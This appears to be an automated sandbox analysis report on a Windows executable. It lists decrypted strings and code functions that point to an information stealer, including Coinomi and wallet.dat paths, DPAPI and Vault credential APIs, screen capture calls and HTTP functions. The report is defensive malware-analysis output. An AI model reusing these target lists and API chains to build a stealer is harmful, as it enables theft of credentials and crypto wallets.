Source: 0.2.m0wsoI3.exe.400000.0.unpack	String decryptor: Coinomi
Source: 0.2.m0wsoI3.exe.400000.0.unpack	String decryptor: Coinomi
Source: 0.2.m0wsoI3.exe.400000.0.unpack	String decryptor: \Coinomi\Coinomi\wallets\
Source: 0.2.m0wsoI3.exe.400000.0.unpack	String decryptor: \Coinomi\Coinomi\wallets\
Source: 0.2.m0wsoI3.exe.400000.0.unpack	String decryptor: *.wallet
Source: 0.2.m0wsoI3.exe.400000.0.unpack	String decryptor: *.wallet
Source: 0.2.m0wsoI3.exe.400000.0.unpack	String decryptor: *.config
Source: 0.2.m0wsoI3.exe.400000.0.unpack	String decryptor: *.config
Source: 0.2.m0wsoI3.exe.400000.0.unpack	String decryptor: wallet.dat
Source: 0.2.m0wsoI3.exe.400000.0.unpack	String decryptor: wallet.dat
Source: 0.2.m0wsoI3.exe.400000.0.unpack	String decryptor: GetSystemTime
Source: 0.2.m0wsoI3.exe.400000.0.unpack	String decryptor: GetSystemTime
Source: 0.2.m0wsoI3.exe.400000.0.unpack	String decryptor: lstrcatA
Source: 0.2.m0wsoI3.exe.400000.0.unpack	String decryptor: lstrcatA
Source: 0.2.m0wsoI3.exe.400000.0.unpack	String decryptor: SystemTimeToFileTime
Source: 0.2.m0wsoI3.exe.400000.0.unpack	String decryptor: SystemTimeToFileTime
Source: 0.2.m0wsoI3.exe.400000.0.unpack	String decryptor: ntdll.dll
Source: 0.2.m0wsoI3.exe.400000.0.unpack	String decryptor: ntdll.dll
Source: 0.2.m0wsoI3.exe.400000.0.unpack	String decryptor: sscanf
Source: 0.2.m0wsoI3.exe.400000.0.unpack	String decryptor: sscanf
Source: 0.2.m0wsoI3.exe.400000.0.unpack	String decryptor: memset
Source: 0.2.m0wsoI3.exe.400000.0.unpack	String decryptor: memset
Source: 0.2.m0wsoI3.exe.400000.0.unpack	String decryptor: memcpy
Source: 0.2.m0wsoI3.exe.400000.0.unpack	String decryptor: memcpy
Source: 0.2.m0wsoI3.exe.400000.0.unpack	String decryptor: wininet.dll
Source: 0.2.m0wsoI3.exe.400000.0.unpack	String decryptor: wininet.dll
Source: 0.2.m0wsoI3.exe.400000.0.unpack	String decryptor: user32.dll
Source: 0.2.m0wsoI3.exe.400000.0.unpack	String decryptor: user32.dll
Source: 0.2.m0wsoI3.exe.400000.0.unpack	String decryptor: gdi32.dll
Source: 0.2.m0wsoI3.exe.400000.0.unpack	String decryptor: gdi32.dll
Source: 0.2.m0wsoI3.exe.400000.0.unpack	String decryptor: netapi32.dll
Source: 0.2.m0wsoI3.exe.400000.0.unpack	String decryptor: netapi32.dll
Source: 0.2.m0wsoI3.exe.400000.0.unpack	String decryptor: psapi.dll
Source: 0.2.m0wsoI3.exe.400000.0.unpack	String decryptor: psapi.dll
Source: 0.2.m0wsoI3.exe.400000.0.unpack	String decryptor: bcrypt.dll
Source: 0.2.m0wsoI3.exe.400000.0.unpack	String decryptor: bcrypt.dll
Source: 0.2.m0wsoI3.exe.400000.0.unpack	String decryptor: vaultcli.dll
Source: 0.2.m0wsoI3.exe.400000.0.unpack	String decryptor: vaultcli.dll
Source: 0.2.m0wsoI3.exe.400000.0.unpack	String decryptor: shlwapi.dll
Source: 0.2.m0wsoI3.exe.400000.0.unpack	String decryptor: shlwapi.dll
Source: 0.2.m0wsoI3.exe.400000.0.unpack	String decryptor: shell32.dll
Source: 0.2.m0wsoI3.exe.400000.0.unpack	String decryptor: shell32.dll
Source: 0.2.m0wsoI3.exe.400000.0.unpack	String decryptor: gdiplus.dll
Source: 0.2.m0wsoI3.exe.400000.0.unpack	String decryptor: gdiplus.dll
Source: 0.2.m0wsoI3.exe.400000.0.unpack	String decryptor: ole32.dll
Source: 0.2.m0wsoI3.exe.400000.0.unpack	String decryptor: ole32.dll
Source: 0.2.m0wsoI3.exe.400000.0.unpack	String decryptor: dbghelp.dll
Source: 0.2.m0wsoI3.exe.400000.0.unpack	String decryptor: dbghelp.dll
Source: 0.2.m0wsoI3.exe.400000.0.unpack	String decryptor: CreateFileA
Source: 0.2.m0wsoI3.exe.400000.0.unpack	String decryptor: CreateFileA
Source: 0.2.m0wsoI3.exe.400000.0.unpack	String decryptor: WriteFile
Source: 0.2.m0wsoI3.exe.400000.0.unpack	String decryptor: WriteFile
Source: 0.2.m0wsoI3.exe.400000.0.unpack	String decryptor: CloseHandle
Source: 0.2.m0wsoI3.exe.400000.0.unpack	String decryptor: CloseHandle
Source: 0.2.m0wsoI3.exe.400000.0.unpack	String decryptor: GetFileSize
Source: 0.2.m0wsoI3.exe.400000.0.unpack	String decryptor: GetFileSize
Source: 0.2.m0wsoI3.exe.400000.0.unpack	String decryptor: lstrlenA
Source: 0.2.m0wsoI3.exe.400000.0.unpack	String decryptor: lstrlenA
Source: 0.2.m0wsoI3.exe.400000.0.unpack	String decryptor: LocalAlloc
Source: 0.2.m0wsoI3.exe.400000.0.unpack	String decryptor: LocalAlloc
Source: 0.2.m0wsoI3.exe.400000.0.unpack	String decryptor: GlobalFree
Source: 0.2.m0wsoI3.exe.400000.0.unpack	String decryptor: GlobalFree
Source: 0.2.m0wsoI3.exe.400000.0.unpack	String decryptor: ReadFile
Source: 0.2.m0wsoI3.exe.400000.0.unpack	String decryptor: ReadFile
Source: 0.2.m0wsoI3.exe.400000.0.unpack	String decryptor: OpenProcess
Source: 0.2.m0wsoI3.exe.400000.0.unpack	String decryptor: OpenProcess
Source: 0.2.m0wsoI3.exe.400000.0.unpack	String decryptor: SetFilePointer
Source: 0.2.m0wsoI3.exe.400000.0.unpack	String decryptor: SetFilePointer
Source: 0.2.m0wsoI3.exe.400000.0.unpack	String decryptor: SetEndOfFile
Source: 0.2.m0wsoI3.exe.400000.0.unpack	String decryptor: SetEndOfFile
Source: 0.2.m0wsoI3.exe.400000.0.unpack	String decryptor: GetCurrentProcessId
Source: 0.2.m0wsoI3.exe.400000.0.unpack	String decryptor: GetCurrentProcessId
Source: 0.2.m0wsoI3.exe.400000.0.unpack	String decryptor: GetLocalTime
Source: 0.2.m0wsoI3.exe.400000.0.unpack	String decryptor: GetLocalTime
Source: 0.2.m0wsoI3.exe.400000.0.unpack	String decryptor: GetTimeZoneInformation
Source: 0.2.m0wsoI3.exe.400000.0.unpack	String decryptor: GetTimeZoneInformation
Source: 0.2.m0wsoI3.exe.400000.0.unpack	String decryptor: GetUserDefaultLocaleName
Source: 0.2.m0wsoI3.exe.400000.0.unpack	String decryptor: GetUserDefaultLocaleName
Source: 0.2.m0wsoI3.exe.400000.0.unpack	String decryptor: LocalFree
Source: 0.2.m0wsoI3.exe.400000.0.unpack	String decryptor: LocalFree
Source: 0.2.m0wsoI3.exe.400000.0.unpack	String decryptor: GetSystemPowerStatus
Source: 0.2.m0wsoI3.exe.400000.0.unpack	String decryptor: GetSystemPowerStatus
Source: 0.2.m0wsoI3.exe.400000.0.unpack	String decryptor: GetSystemInfo
Source: 0.2.m0wsoI3.exe.400000.0.unpack	String decryptor: GetSystemInfo
Source: 0.2.m0wsoI3.exe.400000.0.unpack	String decryptor: GlobalMemoryStatusEx
Source: 0.2.m0wsoI3.exe.400000.0.unpack	String decryptor: GlobalMemoryStatusEx
Source: 0.2.m0wsoI3.exe.400000.0.unpack	String decryptor: IsWow64Process
Source: 0.2.m0wsoI3.exe.400000.0.unpack	String decryptor: IsWow64Process
Source: 0.2.m0wsoI3.exe.400000.0.unpack	String decryptor: GetTempPathA
Source: 0.2.m0wsoI3.exe.400000.0.unpack	String decryptor: GetTempPathA
Source: 0.2.m0wsoI3.exe.400000.0.unpack	String decryptor: GetLocaleInfoA
Source: 0.2.m0wsoI3.exe.400000.0.unpack	String decryptor: GetLocaleInfoA
Source: 0.2.m0wsoI3.exe.400000.0.unpack	String decryptor: GetFileSizeEx
Source: 0.2.m0wsoI3.exe.400000.0.unpack	String decryptor: GetFileSizeEx
Source: 0.2.m0wsoI3.exe.400000.0.unpack	String decryptor: GetFileAttributesA
Source: 0.2.m0wsoI3.exe.400000.0.unpack	String decryptor: GetFileAttributesA
Source: 0.2.m0wsoI3.exe.400000.0.unpack	String decryptor: FindFirstFileA
Source: 0.2.m0wsoI3.exe.400000.0.unpack	String decryptor: FindFirstFileA
Source: 0.2.m0wsoI3.exe.400000.0.unpack	String decryptor: FindNextFileA
Source: 0.2.m0wsoI3.exe.400000.0.unpack	String decryptor: FindNextFileA
Source: 0.2.m0wsoI3.exe.400000.0.unpack	String decryptor: FindClose
Source: 0.2.m0wsoI3.exe.400000.0.unpack	String decryptor: FindClose
Source: 0.2.m0wsoI3.exe.400000.0.unpack	String decryptor: GetCurrentDirectoryA
Source: 0.2.m0wsoI3.exe.400000.0.unpack	String decryptor: GetCurrentDirectoryA
Source: 0.2.m0wsoI3.exe.400000.0.unpack	String decryptor: CopyFileA
Source: 0.2.m0wsoI3.exe.400000.0.unpack	String decryptor: CopyFileA
Source: 0.2.m0wsoI3.exe.400000.0.unpack	String decryptor: DeleteFileA
Source: 0.2.m0wsoI3.exe.400000.0.unpack	String decryptor: DeleteFileA
Source: 0.2.m0wsoI3.exe.400000.0.unpack	String decryptor: lstrcmpW
Source: 0.2.m0wsoI3.exe.400000.0.unpack	String decryptor: lstrcmpW
Source: 0.2.m0wsoI3.exe.400000.0.unpack	String decryptor: GlobalAlloc
Source: 0.2.m0wsoI3.exe.400000.0.unpack	String decryptor: GlobalAlloc
Source: 0.2.m0wsoI3.exe.400000.0.unpack	String decryptor: FreeLibrary
Source: 0.2.m0wsoI3.exe.400000.0.unpack	String decryptor: FreeLibrary
Source: 0.2.m0wsoI3.exe.400000.0.unpack	String decryptor: SetCurrentDirectoryA
Source: 0.2.m0wsoI3.exe.400000.0.unpack	String decryptor: SetCurrentDirectoryA
Source: 0.2.m0wsoI3.exe.400000.0.unpack	String decryptor: CreateFileMappingA
Source: 0.2.m0wsoI3.exe.400000.0.unpack	String decryptor: CreateFileMappingA
Source: 0.2.m0wsoI3.exe.400000.0.unpack	String decryptor: MapViewOfFile
Source: 0.2.m0wsoI3.exe.400000.0.unpack	String decryptor: MapViewOfFile
Source: 0.2.m0wsoI3.exe.400000.0.unpack	String decryptor: UnmapViewOfFile
Source: 0.2.m0wsoI3.exe.400000.0.unpack	String decryptor: UnmapViewOfFile
Source: 0.2.m0wsoI3.exe.400000.0.unpack	String decryptor: FileTimeToSystemTime
Source: 0.2.m0wsoI3.exe.400000.0.unpack	String decryptor: FileTimeToSystemTime
Source: 0.2.m0wsoI3.exe.400000.0.unpack	String decryptor: GetFileInformationByHandle
Source: 0.2.m0wsoI3.exe.400000.0.unpack	String decryptor: GetFileInformationByHandle
Source: 0.2.m0wsoI3.exe.400000.0.unpack	String decryptor: GlobalLock
Source: 0.2.m0wsoI3.exe.400000.0.unpack	String decryptor: GlobalLock
Source: 0.2.m0wsoI3.exe.400000.0.unpack	String decryptor: GlobalSize
Source: 0.2.m0wsoI3.exe.400000.0.unpack	String decryptor: GlobalSize
Source: 0.2.m0wsoI3.exe.400000.0.unpack	String decryptor: WideCharToMultiByte
Source: 0.2.m0wsoI3.exe.400000.0.unpack	String decryptor: WideCharToMultiByte
Source: 0.2.m0wsoI3.exe.400000.0.unpack	String decryptor: GetWindowsDirectoryA
Source: 0.2.m0wsoI3.exe.400000.0.unpack	String decryptor: GetWindowsDirectoryA
Source: 0.2.m0wsoI3.exe.400000.0.unpack	String decryptor: GetVolumeInformationA
Source: 0.2.m0wsoI3.exe.400000.0.unpack	String decryptor: GetVolumeInformationA
Source: 0.2.m0wsoI3.exe.400000.0.unpack	String decryptor: GetVersionExA
Source: 0.2.m0wsoI3.exe.400000.0.unpack	String decryptor: GetVersionExA
Source: 0.2.m0wsoI3.exe.400000.0.unpack	String decryptor: GetModuleFileNameA
Source: 0.2.m0wsoI3.exe.400000.0.unpack	String decryptor: GetModuleFileNameA
Source: 0.2.m0wsoI3.exe.400000.0.unpack	String decryptor: CreateFileW
Source: 0.2.m0wsoI3.exe.400000.0.unpack	String decryptor: CreateFileW
Source: 0.2.m0wsoI3.exe.400000.0.unpack	String decryptor: CreateFileMappingW
Source: 0.2.m0wsoI3.exe.400000.0.unpack	String decryptor: CreateFileMappingW
Source: 0.2.m0wsoI3.exe.400000.0.unpack	String decryptor: MultiByteToWideChar
Source: 0.2.m0wsoI3.exe.400000.0.unpack	String decryptor: MultiByteToWideChar
Source: 0.2.m0wsoI3.exe.400000.0.unpack	String decryptor: CreateThread
Source: 0.2.m0wsoI3.exe.400000.0.unpack	String decryptor: CreateThread
Source: 0.2.m0wsoI3.exe.400000.0.unpack	String decryptor: GetEnvironmentVariableA
Source: 0.2.m0wsoI3.exe.400000.0.unpack	String decryptor: GetEnvironmentVariableA
Source: 0.2.m0wsoI3.exe.400000.0.unpack	String decryptor: SetEnvironmentVariableA
Source: 0.2.m0wsoI3.exe.400000.0.unpack	String decryptor: SetEnvironmentVariableA
Source: 0.2.m0wsoI3.exe.400000.0.unpack	String decryptor: lstrcpyA
Source: 0.2.m0wsoI3.exe.400000.0.unpack	String decryptor: lstrcpyA
Source: 0.2.m0wsoI3.exe.400000.0.unpack	String decryptor: lstrcpynA
Source: 0.2.m0wsoI3.exe.400000.0.unpack	String decryptor: lstrcpynA
Source: 0.2.m0wsoI3.exe.400000.0.unpack	String decryptor: InternetOpenA
Source: 0.2.m0wsoI3.exe.400000.0.unpack	String decryptor: InternetOpenA
Source: 0.2.m0wsoI3.exe.400000.0.unpack	String decryptor: InternetConnectA
Source: 0.2.m0wsoI3.exe.400000.0.unpack	String decryptor: InternetConnectA
Source: 0.2.m0wsoI3.exe.400000.0.unpack	String decryptor: HttpOpenRequestA
Source: 0.2.m0wsoI3.exe.400000.0.unpack	String decryptor: HttpOpenRequestA
Source: 0.2.m0wsoI3.exe.400000.0.unpack	String decryptor: HttpSendRequestA
Source: 0.2.m0wsoI3.exe.400000.0.unpack	String decryptor: HttpSendRequestA
Source: 0.2.m0wsoI3.exe.400000.0.unpack	String decryptor: HttpQueryInfoA
Source: 0.2.m0wsoI3.exe.400000.0.unpack	String decryptor: HttpQueryInfoA
Source: 0.2.m0wsoI3.exe.400000.0.unpack	String decryptor: InternetCloseHandle
Source: 0.2.m0wsoI3.exe.400000.0.unpack	String decryptor: InternetCloseHandle
Source: 0.2.m0wsoI3.exe.400000.0.unpack	String decryptor: InternetReadFile
Source: 0.2.m0wsoI3.exe.400000.0.unpack	String decryptor: InternetReadFile
Source: 0.2.m0wsoI3.exe.400000.0.unpack	String decryptor: InternetSetOptionA
Source: 0.2.m0wsoI3.exe.400000.0.unpack	String decryptor: InternetSetOptionA
Source: 0.2.m0wsoI3.exe.400000.0.unpack	String decryptor: InternetOpenUrlA
Source: 0.2.m0wsoI3.exe.400000.0.unpack	String decryptor: InternetOpenUrlA
Source: 0.2.m0wsoI3.exe.400000.0.unpack	String decryptor: InternetCrackUrlA
Source: 0.2.m0wsoI3.exe.400000.0.unpack	String decryptor: InternetCrackUrlA
Source: 0.2.m0wsoI3.exe.400000.0.unpack	String decryptor: wsprintfA
Source: 0.2.m0wsoI3.exe.400000.0.unpack	String decryptor: wsprintfA
Source: 0.2.m0wsoI3.exe.400000.0.unpack	String decryptor: CharToOemW
Source: 0.2.m0wsoI3.exe.400000.0.unpack	String decryptor: CharToOemW
Source: 0.2.m0wsoI3.exe.400000.0.unpack	String decryptor: GetKeyboardLayoutList
Source: 0.2.m0wsoI3.exe.400000.0.unpack	String decryptor: GetKeyboardLayoutList
Source: 0.2.m0wsoI3.exe.400000.0.unpack	String decryptor: EnumDisplayDevicesA
Source: 0.2.m0wsoI3.exe.400000.0.unpack	String decryptor: EnumDisplayDevicesA
Source: 0.2.m0wsoI3.exe.400000.0.unpack	String decryptor: ReleaseDC
Source: 0.2.m0wsoI3.exe.400000.0.unpack	String decryptor: ReleaseDC
Source: 0.2.m0wsoI3.exe.400000.0.unpack	String decryptor: GetDC
Source: 0.2.m0wsoI3.exe.400000.0.unpack	String decryptor: GetDC
Source: 0.2.m0wsoI3.exe.400000.0.unpack	String decryptor: GetSystemMetrics
Source: 0.2.m0wsoI3.exe.400000.0.unpack	String decryptor: GetSystemMetrics
Source: 0.2.m0wsoI3.exe.400000.0.unpack	String decryptor: GetDesktopWindow
Source: 0.2.m0wsoI3.exe.400000.0.unpack	String decryptor: GetDesktopWindow
Source: 0.2.m0wsoI3.exe.400000.0.unpack	String decryptor: GetWindowRect
Source: 0.2.m0wsoI3.exe.400000.0.unpack	String decryptor: GetWindowRect
Source: 0.2.m0wsoI3.exe.400000.0.unpack	String decryptor: GetWindowDC
Source: 0.2.m0wsoI3.exe.400000.0.unpack	String decryptor: GetWindowDC
Source: 0.2.m0wsoI3.exe.400000.0.unpack	String decryptor: CloseWindow
Source: 0.2.m0wsoI3.exe.400000.0.unpack	String decryptor: CloseWindow
Source: 0.2.m0wsoI3.exe.400000.0.unpack	String decryptor: RegOpenKeyExA
Source: 0.2.m0wsoI3.exe.400000.0.unpack	String decryptor: RegOpenKeyExA
Source: 0.2.m0wsoI3.exe.400000.0.unpack	String decryptor: RegQueryValueExA
Source: 0.2.m0wsoI3.exe.400000.0.unpack	String decryptor: RegQueryValueExA
Source: 0.2.m0wsoI3.exe.400000.0.unpack	String decryptor: RegCloseKey
Source: 0.2.m0wsoI3.exe.400000.0.unpack	String decryptor: RegCloseKey
Source: 0.2.m0wsoI3.exe.400000.0.unpack	String decryptor: GetCurrentHwProfileA
Source: 0.2.m0wsoI3.exe.400000.0.unpack	String decryptor: GetCurrentHwProfileA
Source: 0.2.m0wsoI3.exe.400000.0.unpack	String decryptor: RegEnumKeyExA
Source: 0.2.m0wsoI3.exe.400000.0.unpack	String decryptor: RegEnumKeyExA
Source: 0.2.m0wsoI3.exe.400000.0.unpack	String decryptor: RegGetValueA
Source: 0.2.m0wsoI3.exe.400000.0.unpack	String decryptor: RegGetValueA
Source: 0.2.m0wsoI3.exe.400000.0.unpack	String decryptor: CreateDCA
Source: 0.2.m0wsoI3.exe.400000.0.unpack	String decryptor: CreateDCA
Source: 0.2.m0wsoI3.exe.400000.0.unpack	String decryptor: GetDeviceCaps
Source: 0.2.m0wsoI3.exe.400000.0.unpack	String decryptor: GetDeviceCaps
Source: 0.2.m0wsoI3.exe.400000.0.unpack	String decryptor: CreateCompatibleDC
Source: 0.2.m0wsoI3.exe.400000.0.unpack	String decryptor: CreateCompatibleDC
Source: 0.2.m0wsoI3.exe.400000.0.unpack	String decryptor: CreateCompatibleBitmap
Source: 0.2.m0wsoI3.exe.400000.0.unpack	String decryptor: CreateCompatibleBitmap
Source: 0.2.m0wsoI3.exe.400000.0.unpack	String decryptor: SelectObject
Source: 0.2.m0wsoI3.exe.400000.0.unpack	String decryptor: SelectObject
Source: 0.2.m0wsoI3.exe.400000.0.unpack	String decryptor: BitBlt
Source: 0.2.m0wsoI3.exe.400000.0.unpack	String decryptor: BitBlt
Source: 0.2.m0wsoI3.exe.400000.0.unpack	String decryptor: DeleteObject
Source: 0.2.m0wsoI3.exe.400000.0.unpack	String decryptor: DeleteObject
Source: 0.2.m0wsoI3.exe.400000.0.unpack	String decryptor: StretchBlt
Source: 0.2.m0wsoI3.exe.400000.0.unpack	String decryptor: StretchBlt
Source: 0.2.m0wsoI3.exe.400000.0.unpack	String decryptor: GetObjectW
Source: 0.2.m0wsoI3.exe.400000.0.unpack	String decryptor: GetObjectW
Source: 0.2.m0wsoI3.exe.400000.0.unpack	String decryptor: GetDIBits
Source: 0.2.m0wsoI3.exe.400000.0.unpack	String decryptor: GetDIBits
Source: 0.2.m0wsoI3.exe.400000.0.unpack	String decryptor: SaveDC
Source: 0.2.m0wsoI3.exe.400000.0.unpack	String decryptor: SaveDC
Source: 0.2.m0wsoI3.exe.400000.0.unpack	String decryptor: CreateDIBSection
Source: 0.2.m0wsoI3.exe.400000.0.unpack	String decryptor: CreateDIBSection
Source: 0.2.m0wsoI3.exe.400000.0.unpack	String decryptor: DeleteDC
Source: 0.2.m0wsoI3.exe.400000.0.unpack	String decryptor: DeleteDC
Source: 0.2.m0wsoI3.exe.400000.0.unpack	String decryptor: RestoreDC
Source: 0.2.m0wsoI3.exe.400000.0.unpack	String decryptor: RestoreDC
Source: 0.2.m0wsoI3.exe.400000.0.unpack	String decryptor: DsRoleGetPrimaryDomainInformation
Source: 0.2.m0wsoI3.exe.400000.0.unpack	String decryptor: DsRoleGetPrimaryDomainInformation
Source: 0.2.m0wsoI3.exe.400000.0.unpack	String decryptor: GetModuleFileNameExA
Source: 0.2.m0wsoI3.exe.400000.0.unpack	String decryptor: GetModuleFileNameExA
Source: 0.2.m0wsoI3.exe.400000.0.unpack	String decryptor: CryptUnprotectData
Source: 0.2.m0wsoI3.exe.400000.0.unpack	String decryptor: CryptUnprotectData
Source: 0.2.m0wsoI3.exe.400000.0.unpack	String decryptor: BCryptCloseAlgorithmProvider
Source: 0.2.m0wsoI3.exe.400000.0.unpack	String decryptor: BCryptCloseAlgorithmProvider
Source: 0.2.m0wsoI3.exe.400000.0.unpack	String decryptor: BCryptDestroyKey
Source: 0.2.m0wsoI3.exe.400000.0.unpack	String decryptor: BCryptDestroyKey
Source: 0.2.m0wsoI3.exe.400000.0.unpack	String decryptor: BCryptOpenAlgorithmProvider
Source: 0.2.m0wsoI3.exe.400000.0.unpack	String decryptor: BCryptOpenAlgorithmProvider
Source: 0.2.m0wsoI3.exe.400000.0.unpack	String decryptor: BCryptSetProperty
Source: 0.2.m0wsoI3.exe.400000.0.unpack	String decryptor: BCryptSetProperty
Source: 0.2.m0wsoI3.exe.400000.0.unpack	String decryptor: BCryptGenerateSymmetricKey
Source: 0.2.m0wsoI3.exe.400000.0.unpack	String decryptor: BCryptGenerateSymmetricKey
Source: 0.2.m0wsoI3.exe.400000.0.unpack	String decryptor: BCryptDecrypt
Source: 0.2.m0wsoI3.exe.400000.0.unpack	String decryptor: BCryptDecrypt
Source: 0.2.m0wsoI3.exe.400000.0.unpack	String decryptor: VaultOpenVault
Source: 0.2.m0wsoI3.exe.400000.0.unpack	String decryptor: VaultOpenVault
Source: 0.2.m0wsoI3.exe.400000.0.unpack	String decryptor: VaultCloseVault
Source: 0.2.m0wsoI3.exe.400000.0.unpack	String decryptor: VaultCloseVault
Source: 0.2.m0wsoI3.exe.400000.0.unpack	String decryptor: VaultEnumerateItems
Source: 0.2.m0wsoI3.exe.400000.0.unpack	String decryptor: VaultEnumerateItems
Source: 0.2.m0wsoI3.exe.400000.0.unpack	String decryptor: VaultGetItemWin8
Source: 0.2.m0wsoI3.exe.400000.0.unpack	String decryptor: VaultGetItemWin8
Source: 0.2.m0wsoI3.exe.400000.0.unpack	String decryptor: VaultGetItemWin7
Source: 0.2.m0wsoI3.exe.400000.0.unpack	String decryptor: VaultGetItemWin7
Source: 0.2.m0wsoI3.exe.400000.0.unpack	String decryptor: VaultFree
Source: 0.2.m0wsoI3.exe.400000.0.unpack	String decryptor: VaultFree
Source: 0.2.m0wsoI3.exe.400000.0.unpack	String decryptor: StrCmpCA
Source: 0.2.m0wsoI3.exe.400000.0.unpack	String decryptor: StrCmpCA
Source: 0.2.m0wsoI3.exe.400000.0.unpack	String decryptor: StrStrA
Source: 0.2.m0wsoI3.exe.400000.0.unpack	String decryptor: StrStrA
Source: 0.2.m0wsoI3.exe.400000.0.unpack	String decryptor: PathMatchSpecA
Source: 0.2.m0wsoI3.exe.400000.0.unpack	String decryptor: PathMatchSpecA
Source: 0.2.m0wsoI3.exe.400000.0.unpack	String decryptor: SHGetFolderPathA
Source: 0.2.m0wsoI3.exe.400000.0.unpack	String decryptor: SHGetFolderPathA
Source: 0.2.m0wsoI3.exe.400000.0.unpack	String decryptor: ShellExecuteExA
Source: 0.2.m0wsoI3.exe.400000.0.unpack	String decryptor: ShellExecuteExA
Source: 0.2.m0wsoI3.exe.400000.0.unpack	String decryptor: GdipGetImageEncodersSize
Source: 0.2.m0wsoI3.exe.400000.0.unpack	String decryptor: GdipGetImageEncodersSize
Source: 0.2.m0wsoI3.exe.400000.0.unpack	String decryptor: GdipGetImageEncoders
Source: 0.2.m0wsoI3.exe.400000.0.unpack	String decryptor: GdipGetImageEncoders
Source: 0.2.m0wsoI3.exe.400000.0.unpack	String decryptor: GdipCreateBitmapFromHBITMAP
Source: 0.2.m0wsoI3.exe.400000.0.unpack	String decryptor: GdipCreateBitmapFromHBITMAP
Source: 0.2.m0wsoI3.exe.400000.0.unpack	String decryptor: GdiplusStartup
Source: 0.2.m0wsoI3.exe.400000.0.unpack	String decryptor: GdiplusStartup
Source: 0.2.m0wsoI3.exe.400000.0.unpack	String decryptor: GdiplusShutdown
Source: 0.2.m0wsoI3.exe.400000.0.unpack	String decryptor: GdiplusShutdown
Source: 0.2.m0wsoI3.exe.400000.0.unpack	String decryptor: GdipSaveImageToStream
Source: 0.2.m0wsoI3.exe.400000.0.unpack	String decryptor: GdipSaveImageToStream

Source: C:\Users\user\Desktop\m0wsoI3.exe	Code function: 0_2_00408E30 CryptUnprotectData,LocalAlloc,LocalFree,	0_2_00408E30
Source: C:\Users\user\Desktop\m0wsoI3.exe	Code function: 0_2_00405450 memset,CryptStringToBinaryA,CryptStringToBinaryA,	0_2_00405450
Source: C:\Users\user\Desktop\m0wsoI3.exe	Code function: 0_2_004090C0 lstrlen,CryptStringToBinaryA,lstrcat,lstrcat,lstrcat,	0_2_004090C0
Source: C:\Users\user\Desktop\m0wsoI3.exe	Code function: 0_2_00408AB0 CryptUnprotectData,	0_2_00408AB0
Source: C:\Users\user\Desktop\m0wsoI3.exe	Code function: 0_2_00408D90 CryptStringToBinaryA,LocalAlloc,CryptStringToBinaryA,LocalFree,	0_2_00408D90

Compliance

Detected unpacking (creates a PE file in dynamic memory)

Source: C:\Users\user\Desktop\m0wsoI3.exe

Unpacked PE file: 0.2.m0wsoI3.exe.60900000.1.unpack

Source: m0wsoI3.exe

Static PE information: RELOCS_STRIPPED, EXECUTABLE_IMAGE, 32BIT_MACHINE

Source: m0wsoI3.exe

Static PE information: DYNAMIC_BASE, NX_COMPAT, TERMINAL_SERVER_AWARE

Source:	Binary string: z:\task_1542148442\build\src\obj-thunderbird\security\nss\lib\softoken\softoken_softokn3\softokn3.pdb source: m0wsoI3.exe, 00000000.00000002.1309437455.00000000100BE000.00000004.00000020.00020000.00000000.sdmp, softokn3.dll.0.dr
Source:	Binary string: z:\task_1542148442\build\src\obj-thunderbird\security\nss\lib\freebl\freebl_freebl3\freebl3.pdbZZ source: m0wsoI3.exe, 00000000.00000002.1308783263.000000000F65B000.00000004.00000020.00020000.00000000.sdmp, freebl3.dll.0.dr
Source:	Binary string: vcruntime140.i386.pdb source: vcruntime140.dll.0.dr
Source:	Binary string: vcruntime140.i386.pdbGCTL source: vcruntime140.dll.0.dr
Source:	Binary string: msvcp140.i386.pdbGCTL source: msvcp140.dll.0.dr
Source:	Binary string: z:\task_1542148442\build\src\obj-thunderbird\mozglue\build\mozglue.pdb source: m0wsoI3.exe, 00000000.00000002.1300238771.0000000000584000.00000004.00000020.00020000.00000000.sdmp, mozglue.dll.0.dr
Source:	Binary string: z:\task_1542148442\build\src\obj-thunderbird\security\nss\lib\softoken\softoken_softokn3\softokn3.pdb)) source: m0wsoI3.exe, 00000000.00000002.1309437455.00000000100BE000.00000004.00000020.00020000.00000000.sdmp, softokn3.dll.0.dr
Source:	Binary string: z:\task_1542148442\build\src\obj-thunderbird\mozglue\build\mozglue.pdb22! source: m0wsoI3.exe, 00000000.00000002.1300238771.0000000000584000.00000004.00000020.00020000.00000000.sdmp, mozglue.dll.0.dr
Source:	Binary string: msvcp140.i386.pdb source: msvcp140.dll.0.dr
Source:	Binary string: z:\task_1542148442\build\src\obj-thunderbird\security\nss3.pdb source: nss3.dll.0.dr
Source:	Binary string: z:\task_1542148442\build\src\obj-thunderbird\security\nss\lib\freebl\freebl_freebl3\freebl3.pdb source: m0wsoI3.exe, 00000000.00000002.1308783263.000000000F65B000.00000004.00000020.00020000.00000000.sdmp, freebl3.dll.0.dr

Source: C:\Users\user\Desktop\m0wsoI3.exe	Code function: 0_2_00407620 wsprintfA,FindFirstFileA,lstrcat,StrCmpCA,StrCmpCA,wsprintfA,StrCmpCA,wsprintfA,wsprintfA,wsprintfA,wsprintfA,lstrlen,PathMatchSpecA,CopyFileA,DeleteFileA,PathMatchSpecA,CopyFileA,DeleteFileA,FindNextFileA,FindClose,	0_2_00407620
Source: C:\Users\user\Desktop\m0wsoI3.exe	Code function: 0_2_00401280 wsprintfA,FindFirstFileA,StrCmpCA,StrCmpCA,wsprintfA,StrCmpCA,wsprintfA,wsprintfA,PathMatchSpecA,lstrcat,lstrcat,lstrcat,lstrcat,lstrcat,FindNextFileA,FindClose,	0_2_00401280
Source: C:\Users\user\Desktop\m0wsoI3.exe	Code function: 0_2_00401090 SetCurrentDirectoryA,wsprintfA,FindFirstFileA,StrCmpCA,StrCmpCA,lstrcat,lstrcat,lstrcat,lstrcat,lstrcat,lstrcat,FindNextFileA,FindClose,	0_2_00401090
Source: C:\Users\user\Desktop\m0wsoI3.exe	Code function: 0_2_0040A150 wsprintfA,FindFirstFileA,StrCmpCA,StrCmpCA,wsprintfA,wsprintfA,StrCmpCA,StrCmpCA,StrCmpCA,StrCmpCA,GetCurrentDirectoryA,lstrcat,lstrcat,CopyFileA,DeleteFileA,StrCmpCA,GetCurrentDirectoryA,lstrcat,lstrcat,CopyFileA,DeleteFileA,FindNextFileA,FindClose,	0_2_0040A150
Source: C:\Users\user\Desktop\m0wsoI3.exe	Code function: 0_2_0040B570 wsprintfA,FindFirstFileA,StrCmpCA,StrCmpCA,wsprintfA,wsprintfA,wsprintfA,wsprintfA,wsprintfA,wsprintfA,FindNextFileA,FindClose,	0_2_0040B570
